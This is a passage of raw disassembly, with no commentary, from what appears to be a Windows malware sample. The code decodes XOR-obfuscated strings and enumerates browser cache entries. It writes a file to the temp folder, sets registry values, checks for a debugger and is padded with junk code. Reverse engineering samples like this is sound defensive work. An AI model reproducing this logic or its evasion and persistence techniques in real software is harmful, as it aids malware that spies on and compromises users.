loc_40529A: ; CODE XREF: sub_405254+2Dj
cmp edi, esi
loc_40529C: ; DATA XREF: sub_43F5FDr
jl short loc_405283
mov [ebp+var_8], 1BFh
mov eax, dword_4412BC ; DATA XREF: sub_43F6B9r
add eax, esi
loc_4052AC: ; DATA XREF: sub_43F6C5r sub_43F6D1r
mov byte ptr ds:dword_418710[eax], 0
loc_4052B4: ; DATA XREF: sub_43F6DDr sub_43F6E9r
mov edi, dword_4412BC
mov eax, edi
loc_4052BC: ; DATA XREF: sub_43F6F5r
lea eax, [eax+esi+1]
loc_4052C0: ; DATA XREF: sub_43F701r sub_43F70Dr
mov dword_4412BC, eax
inc dword_4412BC ; DATA XREF: sub_43F719r
cmp dword_4412BC, 0E06h ; DATA XREF: sub_43F725r
; sub_43F731r ...
jle short loc_4052DE
and dword_4412BC, 0 ; DATA XREF: sub_43F749r sub_43F755r
loc_4052DE: ; CODE XREF: sub_405254+81j
; DATA XREF: sub_43F761r ...
mov [ebp+var_C], 0B4h
lea eax, dword_418710[edi] ; DATA XREF: sub_43F779r
pop edi
loc_4052EC: ; DATA XREF: sub_43F785r
pop esi
leave
retn
sub_405254 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4052EF proc near ; CODE XREF: sub_4062CD+4E4p
; sub_4062CD+501p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
loc_4052F0: ; DATA XREF: sub_43F791r
mov ebp, esp
sub esp, 10h ; DATA XREF: sub_43F79Dr
push esi
push edi
mov [ebp+var_2], 665Dh ; DATA XREF: sub_43F7A9r
movzx eax, [ebp+var_2]
mov edx, eax
add edx, eax ; DATA XREF: sub_43F7B5r
mov eax, edx
mov [ebp+var_2], ax ; DATA XREF: sub_43F7C1r
call sub_40C538 ; DATA XREF: sub_43F7CDr
loc_405310: ; DATA XREF: sub_43F7D9r
push 0
push 80h ; DATA XREF: sub_43F7E5r
push 4 ; DATA XREF: sub_43F7F1r
push 0
push 0 ; DATA XREF: sub_43F7FDr
push 0C0000000h ; DATA XREF: sub_43F809r
push [ebp+arg_0] ; DATA XREF: sub_43F815r
call sub_40C67C ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_405335 ; DATA XREF: sub_43F821r
xor eax, eax
jmp short loc_40539D ; DATA XREF: sub_43F82Dr
; ---------------------------------------------------------------------------
loc_405335: ; CODE XREF: sub_4052EF+40j
; DATA XREF: sub_43F839r
mov esi, 5B97h
mov eax, 24A5h ; DATA XREF: sub_43F845r
mul esi ; DATA XREF: sub_43F851r
mov [ebp+var_C], eax
loc_405344: ; DATA XREF: sub_43F85Dr
mov esi, eax
push 2
loc_405348: ; DATA XREF: sub_43F869r
push 0
push 0
loc_40534C: ; DATA XREF: sub_43F875r
push edi
call sub_40C6AC ; DATA XREF: sub_43F881r
mov esi, 113Bh ; DATA XREF: sub_43F88Dr
mov eax, esi ; DATA XREF: sub_43F899r
add eax, esi
mov esi, eax
push 0
lea eax, [ebp+var_8]
push eax
push [ebp+arg_8] ; DATA XREF: sub_43F8A5r
push [ebp+arg_4] ; DATA XREF: sub_43F8B1r
push edi
call sub_40C730 ; DATA XREF: sub_43F8BDr
mov esi, 27C4h ; DATA XREF: sub_43F8C9r
loc_405374: ; DATA XREF: sub_43F8D5r sub_43F8E1r
mov eax, 6888h
mul esi
mov [ebp+var_10], eax ; DATA XREF: sub_43F8EDr
mov esi, eax
loc_405380: ; DATA XREF: sub_43F8F9r
push edi
call sub_40C55C ; DATA XREF: sub_43F905r
mov [ebp+var_4], 3676h ; DATA XREF: sub_43F911r
loc_40538C: ; DATA XREF: sub_43F91Dr
movzx eax, [ebp+var_4]
loc_405390: ; DATA XREF: sub_43F929r
mov edx, eax
add edx, eax
loc_405394: ; DATA XREF: sub_43F935r
mov eax, edx
mov [ebp+var_4], ax ; DATA XREF: sub_43F941r
xor eax, eax
inc eax
loc_40539D: ; CODE XREF: sub_4052EF+44j
pop edi
pop esi
leave
retn
sub_4052EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4053A1 proc near ; CODE XREF: sub_4062CD+440p
var_2F52 = word ptr -2F52h
var_2F50 = byte ptr -2F50h
var_2F48 = word ptr -2F48h
var_2F46 = word ptr -2F46h
var_2F43 = byte ptr -2F43h
var_1F44 = dword ptr -1F44h
var_1F40 = byte ptr -1F40h
var_1F3C = dword ptr -1F3Ch
var_1F38 = dword ptr -1F38h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2F54h
call sub_40C498
push ebx
push esi
push edi
call sub_40C5A4 ; GetVersion
lea edi, [ebp+var_2F50]
lea esi, aW_07ye ; "W _07ye"
movsd
movsd
push [ebp+arg_0]
lea eax, [ebp+var_2F43]
push eax
call sub_40C4B8
call sub_40C5A4 ; GetVersion
push 1
push offset byte_446463
call sub_405254
mov edi, 0Fh
sub edi, dword_4412B8
push edi
push eax
lea edi, [ebp+var_2F43]
push edi
call sub_401806
add esp, 14h
mov edi, eax
mov [ebp+var_2F48], di
mov [ebp+var_2F46], 4FF8h
add [ebp+var_2F46], 611Eh
movzx eax, [ebp+var_2F48]
cmp eax, 0FFFFh
jz short loc_405438
movzx eax, [ebp+var_2F48]
mov [ebp+eax+var_2F43], 0
loc_405438: ; CODE XREF: sub_4053A1+86j
mov [ebp+var_1F44], 1F40h
call sub_40C574 ; GetProcessHeap
push 3
push offset byte_44645F
call sub_405254
add esp, 8
lea edi, [ebp+var_1F44]
push edi
lea edi, [ebp+var_1F40]
push edi
push eax
call sub_40BA18 ; FindFirstUrlCacheEntryA
mov ebx, eax
or eax, eax
jz loc_405522
call sub_40C598 ; GetTickCount
lea eax, [ebp+var_2F43]
push eax
push [ebp+var_1F3C]
call sub_40C9C4
add esp, 8
or eax, eax
jnz short loc_4054AF
call sub_40C598 ; GetTickCount
push [ebp+var_1F38]
push [ebp+arg_4]
call sub_40C4B8
call sub_40C538 ; RtlGetLastWin32Error
xor eax, eax
inc eax
jmp short loc_405522
; ---------------------------------------------------------------------------
loc_4054AF: ; CODE XREF: sub_4053A1+EFj
; sub_4053A1:loc_40551Ej
call sub_40C574 ; GetProcessHeap
mov [ebp+var_1F44], 1F40h
call sub_40C508 ; GetCurrentProcessId
lea eax, [ebp+var_1F44]
push eax
lea eax, [ebp+var_1F40]
push eax
push ebx
call sub_40BA24 ; FindNextUrlCacheEntryA
or eax, eax
jz short loc_405520
call sub_40C514 ; GetCurrentThreadId
lea eax, [ebp+var_2F43]
push eax
push [ebp+var_1F3C]
call sub_40C9C4
add esp, 8
or eax, eax
jnz short loc_40551E
mov ax, word_4412CC
mov [ebp+var_2F52], ax
push [ebp+var_1F38]
push [ebp+arg_4]
call sub_40C4B8
call sub_40C598 ; GetTickCount
xor eax, eax
inc eax
jmp short loc_405522
; ---------------------------------------------------------------------------
loc_40551E: ; CODE XREF: sub_4053A1+156j
jmp short loc_4054AF
; ---------------------------------------------------------------------------
loc_405520: ; CODE XREF: sub_4053A1+138j
xor eax, eax
loc_405522: ; CODE XREF: sub_4053A1+CDj
; sub_4053A1+10Cj ...
pop edi
pop esi
pop ebx
leave
retn
sub_4053A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405527 proc near ; CODE XREF: sub_405601+5D8p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
lea edi, [ebp+var_14]
lea esi, aXaBi ; "#Xa/I"
mov ecx, 7
rep movsb
push [ebp+arg_0]
call sub_40C73C ; lstrlen
mov [ebp+var_8], eax
mov [ebp+var_D], 0Dh
add [ebp+var_D], 1
mov edi, eax
shl edi, 1
add edi, 8
push edi
push 40h
call sub_40C64C ; LocalAlloc
mov [ebp+var_C], eax
xor ebx, ebx
jmp short loc_405585
; ---------------------------------------------------------------------------
loc_405569: ; CODE XREF: sub_405527+61j
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+ebx]
xor eax, 71h
or eax, eax
jz short loc_405584
mov eax, ebx
add eax, [ebp+arg_0]
movzx edx, byte ptr [eax]
xor edx, 71h
mov [eax], dl
loc_405584: ; CODE XREF: sub_405527+4Ej
inc ebx
loc_405585: ; CODE XREF: sub_405527+40j
cmp ebx, [ebp+var_8]
jb short loc_405569
mov [ebp+var_2], 0
jmp short loc_4055EB
; ---------------------------------------------------------------------------
loc_405592: ; CODE XREF: sub_405527+CBj
push 6
push offset a_OO ; "\t_\tO\tO"
call sub_405254
mov [ebp+var_18], eax
movzx edi, [ebp+var_2]
mov esi, [ebp+arg_0]
movzx edi, byte ptr [esi+edi]
mov eax, edi
mov ecx, 1Ah
cdq
idiv ecx
mov esi, edx
add esi, 61h
push esi
mov eax, edi
mov ecx, 1Ah
mov edx, 4EC4EC4Fh
mul edx
shr edx, 3
mov [ebp+var_1C], edx
mov edi, edx
add edi, 61h
push edi
mov edi, [ebp+var_C]
push edi
mov esi, [ebp+var_18]
push esi
push edi
call sub_40CA30
add esp, 1Ch
inc [ebp+var_2]
loc_4055EB: ; CODE XREF: sub_405527+69j
movzx eax, [ebp+var_2]
cmp eax, [ebp+var_8]
jb short loc_405592
call sub_40C514 ; GetCurrentThreadId
mov eax, [ebp+var_C]
pop edi
pop esi
pop ebx
leave
retn
sub_405527 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405601 proc near ; CODE XREF: sub_4062CD+176p
var_300B4 = dword ptr -300B4h
var_300B0 = dword ptr -300B0h
var_300AC = dword ptr -300ACh
var_300A7 = byte ptr -300A7h
var_300A4 = dword ptr -300A4h
var_300A0 = dword ptr -300A0h
var_3009A = word ptr -3009Ah
var_30098 = dword ptr -30098h
var_30094 = dword ptr -30094h
var_30090 = dword ptr -30090h
var_3008C = dword ptr -3008Ch
var_30088 = dword ptr -30088h
var_30084 = dword ptr -30084h
var_30080 = word ptr -30080h
var_3007B = byte ptr -3007Bh
var_30073 = byte ptr -30073h
var_30072 = byte ptr -30072h
var_3006A = byte ptr -3006Ah
var_30063 = byte ptr -30063h
var_3005E = dword ptr -3005Eh
var_3005A = byte ptr -3005Ah
var_30053 = word ptr -30053h
var_30050 = word ptr -30050h
var_3004D = byte ptr -3004Dh
var_3004C = word ptr -3004Ch
var_3004A = byte ptr -3004Ah
var_30040 = byte ptr -30040h
var_30036 = word ptr -30036h
var_30034 = dword ptr -30034h
var_30030 = dword ptr -30030h
var_3002C = dword ptr -3002Ch
var_30025 = byte ptr -30025h
var_30024 = dword ptr -30024h
var_3001D = byte ptr -3001Dh
var_3001C = dword ptr -3001Ch
var_30018 = dword ptr -30018h
var_30014 = dword ptr -30014h
var_30010 = dword ptr -30010h
var_3000C = byte ptr -3000Ch
var_2000C = dword ptr -2000Ch
var_20008 = dword ptr -20008h
var_20003 = byte ptr -20003h
var_10004 = dword ptr -10004h
var_10000 = byte ptr -10000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 300B4h
call sub_40C498
push ebx
push esi
push edi
mov ax, word_4412D5
mov [ebp+var_30050+1], ax
and [ebp+var_30024], 0
mov [ebp+var_30025], 97h
add [ebp+var_30025], 1
and [ebp+var_2000C], 0
and [ebp+var_30014], 0
lea eax, [ebp+var_10004]
push eax
push [ebp+arg_4]
call sub_401A36
add esp, 8
mov ebx, eax
mov eax, [ebp+var_10004]
or eax, eax
jz short loc_405668
or ebx, ebx
jz short loc_405668
cmp [ebp+arg_14], eax
jb short loc_4056A5
loc_405668: ; CODE XREF: sub_405601+5Cj
; sub_405601+60j
mov [ebp+var_30080], 6D59h
movzx eax, [ebp+var_30080]
imul eax, 0CC8h
mov [ebp+var_30080], ax
push ebx
call sub_40C658 ; LocalFree
mov [ebp+var_30084], 2194h
inc [ebp+var_30084]
mov [ebp+var_30024], 1
loc_4056A5: ; CODE XREF: sub_405601+65j
push [ebp+arg_C]
call sub_40C73C ; lstrlen
mov [ebp+var_30084], eax
mov eax, 64h
mul [ebp+var_10004]
mov [ebp+var_30088], eax
mov edi, [ebp+var_30084]
imul edi, [ebp+var_30084], 32h
mov esi, [ebp+var_30088]
lea edi, [esi+edi+1000h]
push edi
push 40h
call sub_40C64C ; LocalAlloc
mov [ebp+var_20008], eax
mov [ebp+var_30030], 1459h
sub [ebp+var_30030], 3900h
mov ax, word_4412D7
mov [ebp-30051h], ax
mov ax, word_4412D9
mov [ebp+var_30053], ax
push [ebp+arg_0]
push 104h
call sub_40C58C ; GetTempPathA
mov [ebp+var_30034], 6721h
add [ebp+var_30034], 7499h
mov eax, [ebp+arg_0]
mov [ebp+var_3008C], eax
mov ecx, eax
or eax, 0FFFFFFFFh
loc_405749: ; CODE XREF: sub_405601+14Dj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_405749
mov edi, eax
mov esi, 10h
sub esi, dword_4412B4
push esi
mov esi, [ebp+var_3008C]
add esi, edi
push esi
call sub_40170F
add esp, 8
push 4
push offset byte_446453
call sub_405254
add esp, 8
push eax
push [ebp+arg_0]
call sub_40CA54
add esp, 8
push 6
push offset dword_44644C
call sub_405254
add esp, 8
push eax
push [ebp+var_20008]
call sub_40494F
add esp, 8
push 6
push offset byte_446445
call sub_405254
add esp, 8
push eax
push [ebp+var_20008]
call sub_40494F
add esp, 8
mov [ebp+var_30036], 4962h
sub [ebp+var_30036], 55C0h
push 13h
push offset byte_446431
call sub_405254
add esp, 8
push [ebp+arg_1C]
push offset aMicrosoftCorp ; "MicroSoft-Corp"
push eax
lea edi, [ebp+var_20003]
push edi
call sub_40CA30
add esp, 10h
lea edi, [ebp+var_3005A]
lea esi, aMkQe9 ; "mk,qe9"
mov ecx, 7
rep movsb
lea eax, [ebp+var_20003]
push eax
push [ebp+var_20008]
call sub_40494F
add esp, 8
mov eax, off_4412E2
mov [ebp+var_3005E], eax
push 7
push offset word_44641A
call sub_405254
add esp, 8
push eax
push [ebp+var_20008]
call sub_40494F
add esp, 8
call sub_40C538 ; RtlGetLastWin32Error
push 6
push offset byte_446413
call sub_405254
add esp, 8
push eax
push [ebp+var_20008]
call sub_40494F
add esp, 8
call sub_40C508 ; GetCurrentProcessId
lea edi, [ebp+var_30063]
lea esi, aK_0 ; "K &,"
mov ecx, 5
rep movsb
push 5
push offset byte_44640D
call sub_405254
add esp, 8
mov [ebp+var_30090], eax
call sub_40CA18
mov ecx, 3E8h
cdq
idiv ecx
push edx
mov edi, [ebp+var_30090]
push [ebp+var_30090]
lea edi, [ebp+var_30040]
push edi
call sub_40CA30
add esp, 0Ch
push 2Ah
push offset word_4463E2
call sub_405254
add esp, 8
lea edi, [ebp+var_30040]
push edi
push [ebp+arg_8]
push eax
lea edi, [ebp+var_20003]
push edi
call sub_40CA30
add esp, 10h
call sub_40C508 ; GetCurrentProcessId
lea eax, [ebp+var_20003]
push eax
push [ebp+var_20008]
call sub_40494F
add esp, 8
call sub_40C598 ; GetTickCount
push 2Dh
push offset dword_4463B4
call sub_405254
add esp, 8
mov [ebp+var_30094], eax
call sub_40CA18
mov ecx, 9
cdq
idiv ecx
mov edi, edx
add edi, 14h
push edi
mov edi, [ebp+var_30094]
push [ebp+var_30094]
lea edi, [ebp+var_20003]
push edi
call sub_40CA30
add esp, 0Ch
mov [ebp+var_30018], 64D8h
mov eax, [ebp+var_30018]
mov edx, eax
add edx, eax
mov [ebp+var_30018], edx
lea eax, [ebp+var_20003]
push eax
push [ebp+var_20008]
call sub_40494F
add esp, 8
call sub_40C574 ; GetProcessHeap
cmp [ebp+var_30024], 0
jnz loc_405C81
cmp [ebp+arg_18], 0
jz loc_405B0E
mov ax, word_4412EB
mov [ebp+var_3009A], ax
and [ebp+var_30098], 0
jmp loc_405AF1
; ---------------------------------------------------------------------------
loc_4059B8: ; CODE XREF: sub_405601+4FCj
lea edi, [ebp+var_300A7]
lea esi, byte_4412ED
mov ecx, 3
rep movsb
mov [ebp+var_10000], 0
mov [ebp+var_300A4], 4DFDh
mov eax, 5Dh
mul [ebp+var_300A4]
mov [ebp+var_300AC], eax
mov [ebp+var_300A4], eax
and [ebp+var_300A0], 0
jmp loc_405A93
; ---------------------------------------------------------------------------
loc_4059FF: ; CODE XREF: sub_405601+49Cj
call sub_40C508 ; GetCurrentProcessId
mov eax, [ebp+var_30098]
add eax, [ebp+var_300A0]
cmp eax, [ebp+var_10004]
jnb loc_405AA3
push 6
push offset a_OO ; "\t_\tO\tO"
call sub_405254
mov [ebp+var_300B0], eax
mov edi, [ebp+var_30098]
add edi, [ebp+var_300A0]
movzx edi, byte ptr [ebx+edi]
mov eax, edi
mov ecx, 1Ah
cdq
idiv ecx
mov esi, edx
add esi, 61h
push esi
mov eax, edi
mov ecx, 1Ah
mov edx, 4EC4EC4Fh
mul edx
shr edx, 3
mov [ebp+var_300B4], edx
mov edi, edx
add edi, 61h
push edi
lea edi, [ebp+var_10000]
push edi
mov edi, [ebp+var_300B0]
push edi
lea edi, [ebp+var_10000]
push edi
call sub_40CA30
add esp, 1Ch
call sub_40C598 ; GetTickCount
inc [ebp+var_300A0]
loc_405A93: ; CODE XREF: sub_405601+3F9j
cmp [ebp+var_300A0], 80h
jb loc_4059FF
loc_405AA3: ; CODE XREF: sub_405601+415j
push 30h
push offset byte_446383
call sub_405254
push [ebp+var_2000C]
push [ebp+arg_10]
lea edi, [ebp+var_10000]
push edi
push eax
lea edi, [ebp+var_20003]
push edi
call sub_40CA30
lea eax, [ebp+var_20003]
push eax
push [ebp+var_20008]
call sub_40494F
add esp, 24h
add [ebp+var_30098], 80h
inc [ebp+var_2000C]
loc_405AF1: ; CODE XREF: sub_405601+3B2j
mov eax, [ebp+var_10004]
cmp [ebp+var_30098], eax
jb loc_4059B8
mov [ebp+var_30014], eax
jmp loc_405C81
; ---------------------------------------------------------------------------
loc_405B0E: ; CODE XREF: sub_405601+398j
mov word ptr [ebp+var_30098+2], 0E7h
sub word ptr [ebp+var_30098+2], 3C4h
mov eax, [ebp+arg_14]
mov [ebp+var_10004], eax
jmp loc_405C5D
; ---------------------------------------------------------------------------
loc_405B2E: ; CODE XREF: sub_405601+67Aj
call sub_40C598 ; GetTickCount
cmp [ebp+var_10000], 0
jz loc_405C5D
mov byte ptr [ebp+var_30098+1], 8Bh
movzx eax, byte ptr [ebp+var_30098+1]
imul eax, 0C29h
mov byte ptr [ebp+var_30098+1], al
mov eax, [ebp+arg_14]
add eax, 0C800h
cmp [ebp+var_10004], eax
jnb loc_405C81
mov eax, [ebp+var_10004]
mov [ebp+var_30014], eax
push 3
push offset byte_44637F
call sub_405254
push [ebp+arg_C]
push eax
lea edi, [ebp+var_3000C]
push edi
call sub_40CA30
add esp, 14h
lea ecx, [ebp+var_3000C]
or eax, 0FFFFFFFFh
loc_405BA2: ; CODE XREF: sub_405601+5A6j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_405BA2
mov edi, eax
mov [ebp+var_3009A], di
lea eax, [ebp+var_10000]
push eax
movzx eax, [ebp+var_3009A]
lea eax, [ebp+eax+var_3000C]
push eax
call sub_40C4B8
call sub_40C634 ; IsDebuggerPresent
lea eax, [ebp+var_3000C]
push eax
call sub_405527
add esp, 4
mov [ebp+var_30010], eax
call sub_40C5A4 ; GetVersion
push 30h
push offset byte_446383
call sub_405254
add esp, 8
push [ebp+var_2000C]
push [ebp+arg_10]
push [ebp+var_30010]
push eax
lea edi, [ebp+var_20003]
push edi
call sub_40CA30
add esp, 14h
call sub_40C508 ; GetCurrentProcessId
lea eax, [ebp+var_20003]
push eax
push [ebp+var_20008]
call sub_40494F
add esp, 8
call sub_40C574 ; GetProcessHeap
push [ebp+var_30010]
call sub_40C658 ; LocalFree
lea edi, [ebp+var_300A4+3]
lea esi, aCcvJ8 ; "cc j8"
mov ecx, 7
rep movsb
inc [ebp+var_2000C]
loc_405C5D: ; CODE XREF: sub_405601+528j
; sub_405601+539j
lea eax, [ebp+var_10000]
push eax
push [ebp+var_10004]
push ebx
call sub_401B9A
add esp, 0Ch
mov [ebp+var_10004], eax
or eax, eax
jnz loc_405B2E
loc_405C81: ; CODE XREF: sub_405601+38Ej
; sub_405601+508j ...
push 1Eh
push offset dword_446360
call sub_405254
push eax
push [ebp+var_20008]
call sub_40494F
lea edi, [ebp+var_3006A]
lea esi, aTbrgnn ; "tRnn"
mov ecx, 7
rep movsb
push 7
push offset dword_446358
call sub_405254
push eax
push [ebp+var_20008]
call sub_40494F
call sub_40C574 ; GetProcessHeap
push 8
push offset byte_44634F
call sub_405254
push eax
push [ebp+var_20008]
call sub_404663
call sub_40C514 ; GetCurrentThreadId
lea edi, [ebp+var_30072]
lea esi, aHz_B ; "hZ.*~b!"
movsd
movsd
push 6
push offset dword_446348
call sub_405254
mov [ebp+var_30098], eax
call sub_40CA18
mov [ebp-3009Ch], eax
call sub_40CA18
mov ecx, 63h
cdq
idiv ecx
push edx
mov edi, [ebp-3009Ch]
mov eax, edi
mov ecx, 14h
cdq
idiv ecx
mov edi, edx
add edi, 61h
push edi
mov edi, [ebp+var_30098]
push edi
lea edi, [ebp+var_3004A]
push edi
call sub_40CA30
push 0Eh
push offset byte_446339
call sub_405254
lea edi, [ebp+var_3004A]
push edi
push eax
lea edi, [ebp+var_20003]
push edi
call sub_40CA30
mov [ebp+var_3004C], 7B91h
inc [ebp+var_3004C]
lea eax, [ebp+var_20003]
push eax
push [ebp+var_20008]
call sub_404663
mov [ebp+var_3001C], 5751h
mov eax, [ebp+var_3001C]
mov edx, eax
add edx, eax
mov [ebp+var_3001C], edx
push 15h
push offset byte_446323
call sub_405254
lea edi, [ebp+var_30040]
push edi
push eax
lea edi, [ebp+var_20003]
push edi
call sub_40CA30
lea eax, [ebp+var_20003]
push eax
push [ebp+var_20008]
call sub_404663
mov [ebp+var_3004D], 60h
movzx eax, [ebp+var_3004D]
imul eax, 170Ah
mov [ebp+var_3004D], al
push 1
push offset byte_446321
call sub_405254
push eax
push [ebp+var_20008]
call sub_404663
lea edi, [ebp+var_30073]
lea esi, byte_441306
xor ecx, ecx
inc ecx
rep movsb
push 16h
push offset word_44630A
call sub_405254
mov [ebp+var_300A0], eax
call sub_40CA18
mov ecx, 3E8h
cdq
idiv ecx
mov edi, edx
add edi, 2710h
push edi
lea edi, [ebp+var_3004A]
push edi
mov edi, [ebp+var_300A0]
push edi
lea edi, [ebp+var_20003]
push edi
call sub_40CA30
call sub_40C538 ; RtlGetLastWin32Error
lea eax, [ebp+var_20003]
push eax
push [ebp+var_20008]
call sub_404663
call sub_40C598 ; GetTickCount
push 9
push offset dword_446300
call sub_405254
push eax
push [ebp+var_20008]
call sub_40494F
push 7
push offset dword_4462F8
call sub_405254
push eax
push [ebp+var_20008]
call sub_40494F
lea edi, [ebp+var_3007B]
lea esi, aAxq@Mi ; "Axq@;mI"
mov ecx, 2
rep movsd
push 7
push offset dword_4462F0
call sub_405254
push eax
push [ebp+var_20008]
call sub_40CA54
call sub_40C538 ; RtlGetLastWin32Error
push [ebp+arg_0]
call sub_403449
add esp, 0E4h
push 0
push 0
push 2
push 0
push 0
push 40000000h
push [ebp+arg_0]
call sub_40C67C ; CreateFileA
mov [ebp+var_3002C], eax
mov [ebp+var_3001D], 0DCh
movzx eax, [ebp+var_3001D]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_3001D], al
push [ebp+var_20008]
call sub_40C73C ; lstrlen
push 0
lea edi, [ebp+var_2000C]
push edi
push eax
push [ebp+var_20008]
push [ebp+var_3002C]
call sub_40C730 ; WriteFile
push [ebp+var_3002C]
call sub_40C55C ; CloseHandle
push [ebp+var_20008]
call sub_40C658 ; LocalFree
cmp [ebp+var_30024], 0
jnz short loc_405F69
push ebx
call sub_40C658 ; LocalFree
jmp short loc_405F6E
; ---------------------------------------------------------------------------
loc_405F69: ; CODE XREF: sub_405601+95Ej
or eax, 0FFFFFFFFh
jmp short loc_405F74
; ---------------------------------------------------------------------------
loc_405F6E: ; CODE XREF: sub_405601+966j
mov eax, [ebp+var_30014]
loc_405F74: ; CODE XREF: sub_405601+96Bj
pop edi
pop esi
pop ebx
leave
retn
sub_405601 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405F79 proc near ; CODE XREF: sub_4062CD:loc_4063F9p
var_2125 = byte ptr -2125h
var_211E = byte ptr -211Eh
var_111F = byte ptr -111Fh
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = word ptr -118h
var_116 = byte ptr -116h
var_115 = byte ptr -115h
var_10E = dword ptr -10Eh
var_109 = byte ptr -109h
var_108 = dword ptr -108h
var_101 = byte ptr -101h
var_100 = byte ptr -100h
push ebp
mov ebp, esp
mov eax, 2128h
call sub_40C498
push esi
push edi
call sub_40C538 ; RtlGetLastWin32Error
mov eax, dword_44130F
mov [ebp+var_10E+1], eax
lea edi, [ebp+var_115]
lea esi, a7ynj ; " * 7YNJ"
movsd
movsd
and [ebp+var_108], 0
mov [ebp+var_101], 0
jmp loc_4060E5
; ---------------------------------------------------------------------------
loc_405FB9: ; CODE XREF: sub_405F79+174j
mov [ebp+var_116], 0ABh
movzx eax, [ebp+var_116]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_116], al
push 44h
push offset byte_4462AB
call sub_405254
movzx edi, [ebp+var_101]
push edi
push eax
lea edi, [ebp+var_100]
push edi
call sub_40CA30
push 4
push offset word_4462A6
call sub_405254
push 4
push 4
lea edi, [ebp+var_108]
push edi
push eax
lea edi, [ebp+var_100]
push edi
push 80000001h
call sub_4015EB
mov [ebp+var_118], 3316h
inc [ebp+var_118]
push 4
push offset word_4462A6
call sub_405254
push 4
push 4
lea edi, [ebp+var_108]
push edi
push eax
lea edi, [ebp+var_100]
push edi
push 80000002h
call sub_4015EB
call sub_40C598 ; GetTickCount
push 4Dh
push offset dword_446258
call sub_405254
movzx edi, [ebp+var_101]
push edi
push eax
lea edi, [ebp+var_100]
push edi
call sub_40CA30
push 4
push offset word_4462A6
call sub_405254
push 4
push 4
lea edi, [ebp+var_108]
push edi
push eax
lea edi, [ebp+var_100]
push edi
push 80000002h
call sub_4015EB
call sub_40C5A4 ; GetVersion
push 4
push offset word_4462A6
call sub_405254
push 4
push 4
lea edi, [ebp+var_108]
push edi
push eax
lea edi, [ebp+var_100]
push edi
push 80000001h
call sub_4015EB
add esp, 0A8h
call sub_40C634 ; IsDebuggerPresent
add [ebp+var_101], 1
loc_4060E5: ; CODE XREF: sub_405F79+3Bj
mov al, [ebp+var_101]
cmp al, 5
jb loc_405FB9
call sub_40C5A4 ; GetVersion
cmp eax, 80000000h
jb short loc_406172
mov [ebp+var_11C], 3E8Eh
sub [ebp+var_11C], 398Ch
push 4Ch
push offset byte_44620B
call sub_405254
mov [ebp+var_120], eax
push 10h
push offset aNC_ibiCoi__ ; "n^C[_IbI[|^COI__"
call sub_405254
mov [ebp+var_124], eax
push 3
push offset word_4461F6
call sub_405254
push 1
mov edi, 12h
sub edi, dword_4412B8
push edi
push eax
mov edi, [ebp+var_124]
push edi
mov edi, [ebp+var_120]
push edi
push 80000003h
call sub_4015EB
add esp, 30h
jmp loc_406222
; ---------------------------------------------------------------------------
loc_406172: ; CODE XREF: sub_405F79+184j
call sub_40C598 ; GetTickCount
lea edi, [ebp+var_2125]
lea esi, aCowt9n ; "cowt9N"
mov ecx, 7
rep movsb
lea eax, [ebp+var_111F]
push eax
call sub_40518F
call sub_40C634 ; IsDebuggerPresent
push 59h
push offset dword_44619C
call sub_405254
lea edi, [ebp+var_111F]
push edi
push eax
lea edi, [ebp+var_211E]
push edi
call sub_40CA30
mov [ebp+var_116], 0D3h
movzx eax, [ebp+var_116]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_116], al
and [ebp+var_120], 0
push 0Ch
push offset byte_44618F
call sub_405254
push 4
push 4
lea edi, [ebp+var_120]
push edi
push eax
lea edi, [ebp+var_211E]
push edi
push 80000003h
call sub_4015EB
add esp, 38h
mov [ebp+var_11C], 6405h
mov eax, [ebp+var_11C]
mov edx, eax
add edx, eax
mov [ebp+var_11C], edx
loc_406222: ; CODE XREF: sub_405F79+1F4j
push 3Bh
push offset byte_446153
call sub_405254
mov [ebp+var_11C], eax
push 11h
push offset aK@cnm@y_iCjj@e ; "k@CNM@y_I^cJJ@EBI"
call sub_405254
push 4
push 4
lea edi, [ebp+var_108]
push edi
push eax
mov edi, [ebp+var_11C]
push edi
push 80000001h
call sub_4015EB
call sub_40C634 ; IsDebuggerPresent
push 33h
push offset byte_44610D
call sub_405254
push 1
push 0
push offset byte_446605
push offset byte_446605
push eax
push 80000001h
call sub_4015EB
mov [ebp+var_109], 0A7h
movzx eax, [ebp+var_109]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_109], al
push 3Bh
push offset byte_4460D1
call sub_405254
push 1
push 0
push offset byte_446605
push offset byte_446605
push eax
push 80000001h
call sub_4015EB
add esp, 68h
pop edi
pop esi
leave
retn
sub_405F79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4062CD proc near ; CODE XREF: sub_409847+2C6p
; sub_409847+5E3p ...
var_3B8 = dword ptr -3B8h
